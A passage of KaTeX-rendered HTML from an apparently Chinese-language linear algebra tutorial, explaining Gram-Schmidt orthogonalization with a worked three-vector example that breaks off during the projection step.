<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>u</mi><mi>k</mi></msub></mrow><annotation encoding="application/x-tex"> u_k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 归一化，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mi>k</mi></msub></mrow><annotation encoding="application/x-tex"> q_k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>q</mi><mi>k</mi></msub><mo>=</mo><mfrac><msub><mi>u</mi><mi>k</mi></msub><mrow><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi><msub><mi>u</mi><mi>k</mi></msub><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">q_k = \frac{u_k}{||u_k||} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0436em;vertical-align:-0.936em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">∣∣</span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">∣∣</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p></li></ol><p>通过上述步骤，可以得到一组正交向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>q</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>q</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> q_1, q_2, \ldots, q_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p><p>举例来说，给定向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>a</mi><mn>1</mn></msub><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> a_1 = \begin{bmatrix} 1 \\ 1 \\ 0 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span> , <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>a</mi><mn>2</mn></msub><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> a_2 = \begin{bmatrix} 1 \\ 0 \\ 1 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>a</mi><mn>3</mn></msub><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> a_3 = \begin{bmatrix} 0 \\ 1 \\ 1 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span>。</p><ol><li><p>设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>1</mn></msub><mo>=</mo><msub><mi>a</mi><mn>1</mn></msub><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> q_1 = a_1 = \begin{bmatrix} 1 \\ 1 \\ 0 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span>。</p></li><li><p>计算 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>a</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex"> a_2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex"> q_1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 上的投影：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>p</mi><mi>r</mi><mi>o</mi><msub><mi>j</mi><msub><mi>q</mi><mn>1</mn></msub></msub><mo stretchy="false">(</mo><msub><mi>a</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mfrac><mrow><msubsup><mi>a</mi><mn>2</mn><mi>T</mi></msubsup><msub><mi>q</mi><mn>1</mn></msub></mrow><mrow><msubsup><mi>q</mi><mn>1</mn><mi>T</mi></msubsup><msub><mi>q</mi><mn>1</mn></msub></mrow></mfrac><msub><mi>q</mi><mn>1</mn></msub><mo>=</mo><mfrac><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">proj_{q_1}(a_2) = \frac{a_2^T q_1}{q_1^T q_1} q_1 = \frac{\begin{bmatrix} 1 &amp; 0 &amp; 1 \end{bmatrix} \begin{bmatrix} 1 \\ 1 \\ 0 \end{bmatrix}}{\begin{bmatrix} 1 &amp; 1 &amp; 0 \end{bmatrix} \begin{bmatrix} 1 \\ 1 \\ 0 \end{bmatrix}} \begin{bmatrix} 1 \\ 1 \\ 0 \end{bmatrix} = \frac{1}{2} \begin{bmatrix} 1 \\ 1 \\ 0 \end{bmatrix} = \begin{bmatrix} 0.5 \\ 0.5 \\ 0 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">ro</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0572em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0359em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4978em;vertical-align:-0.9794em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.5183em;"><span style="top:-2.2869em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8231em;"><span style="top:-2.4337em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.0448em;margin-right:0.05em;"><span class="pstrut" 